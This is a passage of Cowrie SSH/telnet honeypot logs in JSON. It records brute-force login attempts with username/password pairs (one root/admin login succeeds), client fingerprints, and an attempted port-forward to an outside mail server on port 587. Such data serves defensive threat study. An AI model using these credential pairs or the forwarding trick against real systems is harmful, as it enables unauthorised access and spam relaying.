-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:26.765224Z","src_ip":"62.133.62.83","session":"4f700b9a38b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"looser","message":"login attempt [root/looser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:27.018667Z","src_ip":"62.133.62.83","session":"4f700b9a38b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:28.101388Z","src_ip":"62.133.62.83","session":"4f700b9a38b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34786,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9bc59d7469d","protocol":"telnet","message":"New connection: 135.148.14.151:34786 (159.203.135.109:23) [session: c9bc59d7469d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:35.745527Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":57492,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee09520db9af","protocol":"ssh","message":"New connection: 194.113.233.25:57492 (159.203.135.109:22) [session: ee09520db9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:39.178070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:39.183686Z","src_ip":"194.113.233.25","session":"ee09520db9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":48158,"dst_ip":"159.203.135.109","dst_port":22,"session":"e403f4b9907e","protocol":"ssh","message":"New connection: 193.46.255.86:48158 (159.203.135.109:22) [session: e403f4b9907e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:39.241323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:39.246826Z","src_ip":"193.46.255.86","session":"e403f4b9907e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:39.277771Z","src_ip":"194.113.233.25","session":"ee09520db9af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:39.379675Z","src_ip":"193.46.255.86","session":"e403f4b9907e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"30031989","message":"login attempt [root/30031989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:39.562320Z","src_ip":"194.113.233.25","session":"ee09520db9af","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:39.979681Z","src_ip":"193.46.255.86","session":"e403f4b9907e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"81.19.77.166","dst_port":587,"src_ip":"193.46.255.86","src_port":22,"message":"direct-tcp connection request to 81.19.77.166:587 from 127.0.0.1:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:40.113810Z","session":"e403f4b9907e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"81.19.77.166","dst_port":587,"data":"b'E'","id":0,"message":"discarded direct-tcp forward request 0 to 81.19.77.166:587 with data b'E'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:40.247457Z","src_ip":"193.46.255.86","session":"e403f4b9907e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:40.382075Z","src_ip":"193.46.255.86","session":"e403f4b9907e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:40.658629Z","src_ip":"194.113.233.25","session":"ee09520db9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.247.111","src_port":42434,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddb7f5c85625","protocol":"ssh","message":"New connection: 150.109.247.111:42434 (10.17.0.5:22) [session: ddb7f5c85625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:40.845012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:40.850522Z","src_ip":"150.109.247.111","session":"ddb7f5c85625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:41.052299Z","src_ip":"150.109.247.111","session":"ddb7f5c85625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fjbdfdjkdsfs541544","message":"login attempt [admin/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:41.888647Z","src_ip":"150.109.247.111","session":"ddb7f5c85625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:43.094194Z","src_ip":"150.109.247.111","session":"ddb7f5c85625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.227086305618286,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:43.231227Z","src_ip":"135.148.14.151","session":"032646a9dbee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.19219470024109,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:44.756109Z","src_ip":"135.148.14.151","session":"df8264bd8015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.38543200492859,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:47.345353Z","src_ip":"135.148.14.151","session":"f8a79974802f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37622,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a3ee23856f7","protocol":"telnet","message":"New connection: 135.148.14.151:37622 (159.203.135.109:23) [session: 5a3ee23856f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:49.455228Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41922,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b642ec29f39","protocol":"telnet","message":"New connection: 135.148.14.151:41922 (159.203.135.109:23) [session: 1b642ec29f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:17:59.165139Z"}
{"eventid":"cowrie.session.closed","duration":36.929436445236206,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:18:12.674829Z","src_ip":"135.148.14.151","session":"c9bc59d7469d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50322,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffa8447b8d86","protocol":"telnet","message":"New connection: 135.148.14.151:50322 (159.203.135.109:23) [session: ffa8447b8d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:18:18.186842Z"}
{"eventid":"cowrie.session.closed","duration":31.33629870414734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:18:20.791439Z","src_ip":"135.148.14.151","session":"5a3ee23856f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57206,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a339f6429b3","protocol":"telnet","message":"New connection: 135.148.14.151:57206 (159.203.135.109:23) [session: 8a339f6429b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:18:28.500096Z"}
{"eventid":"cowrie.session.closed","duration":33.568135261535645,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:18:32.733149Z","src_ip":"135.148.14.151","session":"1b642ec29f39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60416,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cb17d9ebf6a","protocol":"telnet","message":"New connection: 135.148.14.151:60416 (159.203.135.109:23) [session: 1cb17d9ebf6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:18:32.879978Z"}
{"eventid":"cowrie.session.closed","duration":33.71827530860901,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:18:51.905007Z","src_ip":"135.148.14.151","session":"ffa8447b8d86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.186.40.161","src_port":41110,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4f9c1e0dbcc","protocol":"ssh","message":"New connection: 201.186.40.161:41110 (10.17.0.5:22) [session: a4f9c1e0dbcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:18:54.347384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:18:54.352813Z","src_ip":"201.186.40.161","session":"a4f9c1e0dbcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:18:54.510800Z","src_ip":"201.186.40.161","session":"a4f9c1e0dbcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:18:55.166253Z","src_ip":"201.186.40.161","session":"a4f9c1e0dbcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:18:56.326885Z","src_ip":"201.186.40.161","session":"a4f9c1e0dbcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.58994817733765,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:19:01.089927Z","src_ip":"135.148.14.151","session":"8a339f6429b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":46050,"dst_ip":"10.17.0.5","dst_port":22,"session":"f84f40d698d8","protocol":"ssh","message":"New connection: 103.77.175.15:46050 (10.17.0.5:22) [session: f84f40d698d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:19:07.360609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:19:07.365977Z","src_ip":"103.77.175.15","session":"f84f40d698d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:19:07.624046Z","src_ip":"103.77.175.15","session":"f84f40d698d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pthrfkj","message":"login attempt [root/pthrfkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:19:08.397191Z","src_ip":"103.77.175.15","session":"f84f40d698d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:19:09.658031Z","src_ip":"103.77.175.15","session":"f84f40d698d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49908,"dst_ip":"159.203.135.109","dst_port":23,"session":"d829b0e5ad55","protocol":"telnet","message":"New connection: 135.148.14.151:49908 (159.203.135.109:23) [session: d829b0e5ad55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:19:11.697405Z"}
{"eventid":"cowrie.session.closed","duration":39.78133726119995,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:19:12.661182Z","src_ip":"135.148.14.151","session":"1cb17d9ebf6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.9913444519043,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:19:48.688607Z","src_ip":"135.148.14.151","session":"d829b0e5ad55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43690,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a106bf9fe16","protocol":"telnet","message":"New connection: 135.148.14.151:43690 (159.203.135.109:23) [session: 6a106bf9fe16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:03.418177Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48384,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c57b2d6aef1","protocol":"telnet","message":"New connection: 135.148.14.151:48384 (159.203.135.109:23) [session: 9c57b2d6aef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:13.914627Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":42748,"dst_ip":"159.203.135.109","dst_port":22,"session":"59e533f115e5","protocol":"ssh","message":"New connection: 77.94.47.83:42748 (159.203.135.109:22) [session: 59e533f115e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:25.997777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:26.002790Z","src_ip":"77.94.47.83","session":"59e533f115e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:26.117498Z","src_ip":"77.94.47.83","session":"59e533f115e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tarasov","message":"login attempt [root/tarasov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:26.454085Z","src_ip":"77.94.47.83","session":"59e533f115e5","protocol":"ssh"}
